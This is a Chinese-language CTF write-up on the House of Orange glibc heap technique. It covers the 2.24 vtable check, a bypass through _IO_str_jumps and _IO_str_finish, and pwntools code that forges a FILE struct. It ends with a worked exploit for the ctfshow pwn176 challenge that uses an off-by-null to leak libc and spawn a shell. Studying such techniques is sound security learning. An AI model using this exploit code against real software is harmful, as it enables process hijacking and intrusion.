House Of Orange

2.23

见wkctf复现一文:https://yukon.icu/2024/07/18/wkctf/

2.24

新增检测以及绕过思路

与2.23不同的点在于,2.24对于vtable的位置进行了约束,增加了一个检测函数:IO_validate_vtable

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* 快速路径:虚表指针在 __libc_IO_vtables 区域内。 */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* 虚表指针不在预期的部分。使用慢路径,如果必要将终止进程。 */
_IO_vtable_check ();
return vtable;
}

人话就是vtable必须在__stop___IO_vtables__start___libc_IO_vtables之间

但是libc中不仅仅有_IO_file_jumps这个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

这里我们主要用到其中的_IO_str_finish

1
2
3
4
5
6
7
8
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}

绕过条件:

  1. fp->_mode = 0
  2. fp->_IO_write_ptr < fp->_IO_write_base
  3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size)
  4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件)
  5. vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish
  6. fp->_flags= 0
  7. fp->_IO_buf_base = binsh_addr
  8. fp+0xe8 = system_addr

根据fp也就是file_struct的定义以及上述条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

我们可以对fp的伪造进行封装:

1
2
3
4
5
6
7
8
9
10
11
12
13
def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8)
payload += p64(0) # paddding
payload += p64(system_addr) # _IO_str_finish
return payload

在构造payload时,只需要提供_IO_str_jumps_IO_list_allsystem,/bin/sh 的地址即可。

记录一个用pwntools得到vtable偏移的方法:

1
2
3
4
5
6
7
8
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

先理解个大概,具体如何完成利用结合题目分析

ctfshow_pwn176

虽然题目是2.23的,但是可以利用2.24的思路,所以拿来复现一下

1
2
3
4
5
6
7
puts("=============");
puts("1. Allocate");
puts("2. Update");
puts("3. Show");
puts("4. Free");
puts("5. Exit");
__printf_chk(1LL, ">> ");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ssize_t Allocate()
{
signed int v0; // eax
__int64 v1; // rbx
int v2; // ebp
char *v3; // rbx
ssize_t result; // rax

__printf_chk(1LL, "Index: ");
v0 = get_int();
if ( v0 > 0xF )
error("Invalid index!");
v1 = v0;
if ( qword_2020A0[v0] )
error("Index is already allocated!");
__printf_chk(1LL, "Size: ");
v2 = get_int();
if ( (v2 - 0x10) > 0xF0 )
error("Invalid size!");
qword_2020A0[v1] = malloc(v2); // *heap
dword_202060[v1] = v2; // size
__printf_chk(1LL, "Content: ");
v3 = qword_2020A0[v1];
result = read(0, v3, v2);
v3[result - 1] = 0; // 没有off_by_null
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t Update()
{
unsigned int v0; // eax
__int64 v1; // rbx
void *v2; // rbp
ssize_t result; // rax

__printf_chk(1LL, "Index: ");
v0 = get_int();
if ( v0 > 0xF )
error("Invalid index!");
v1 = v0;
if ( !qword_2020A0[v0] )
error("Index is not allocated!");
__printf_chk(1LL, "Content: ");
v2 = qword_2020A0[v1];
result = read(0, v2, dword_202060[v1]);
*(v2 + result) = 0; // off_by_null
return result; // 相当于edit
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_DWORD *Free()
{
unsigned int v0; // eax
__int64 v1; // rbx
void *v2; // rdi
_DWORD *result; // rax

__printf_chk(1LL, "Index: ");
v0 = get_int();
if ( v0 > 0xF )
error("Invalid index!");
v1 = v0;
v2 = qword_2020A0[v0];
if ( !v2 )
error("Index is not allocated!");
free(v2);
result = dword_202060;
qword_2020A0[v1] = 0LL;
dword_202060[v1] = 0;
return result;
}

Allocate和Free都没有什么漏洞,Update有off_by_null,Show就show一下

虽然有free,但是还是可以打house of orange(当然也可以有别的打法,留做)

利用off_by_null构造堆溢出并泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(0, 0xF0, b'a')  # 0
add(1, 0xF8, b'b') # 1
add(2, 0xF0, b'c') # 2
add(3, 0x10, b'd') # 3
delete(0)
edit(1, b'f' * 0xf0 + p64(0x200)) # prev_size = 0xF0 + 0x10 + 0xF8 + 0x8 = 0x200,后向合并覆盖0和1
delete(2)
add(0, 0xF0, b'a') # 将unsortedbin头移到chunk 1处,这样show就能show出来main_arena+88
show(1)
io.recvuntil('content: ')
main_arena_88 = u64(io.recv(6).ljust(8, b'\x00'))
malloc_hook = main_arena_88 - 88 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr, binsh_addr = get_sb()
lg("libc_base")

_IO_list_all_addr = libc_base + _IO_list_all_s
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
lg("_IO_list_all_addr")
lg("_IO_str_jumps_addr")

接下来就是利用算好的_IO_str_jumps_addr地址构造fake_file

1
2
3
4
5
6
7
8
fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all_addr - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr) # _IO_buf_base
fake_file = fake_file.ljust(0xD8,'\x00')
fake_file += p64(_IO_str_jumps_addr - 8) # _IO_file里的*vtable指向_IO_str_jumps
fake_file += p64(system_addr) * 2 # _IO_file + 0xe8
edit(1,fake_file)

这样执行(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # call qword ptr [fp+0E8h]的时候就能触发system('/bin/sh')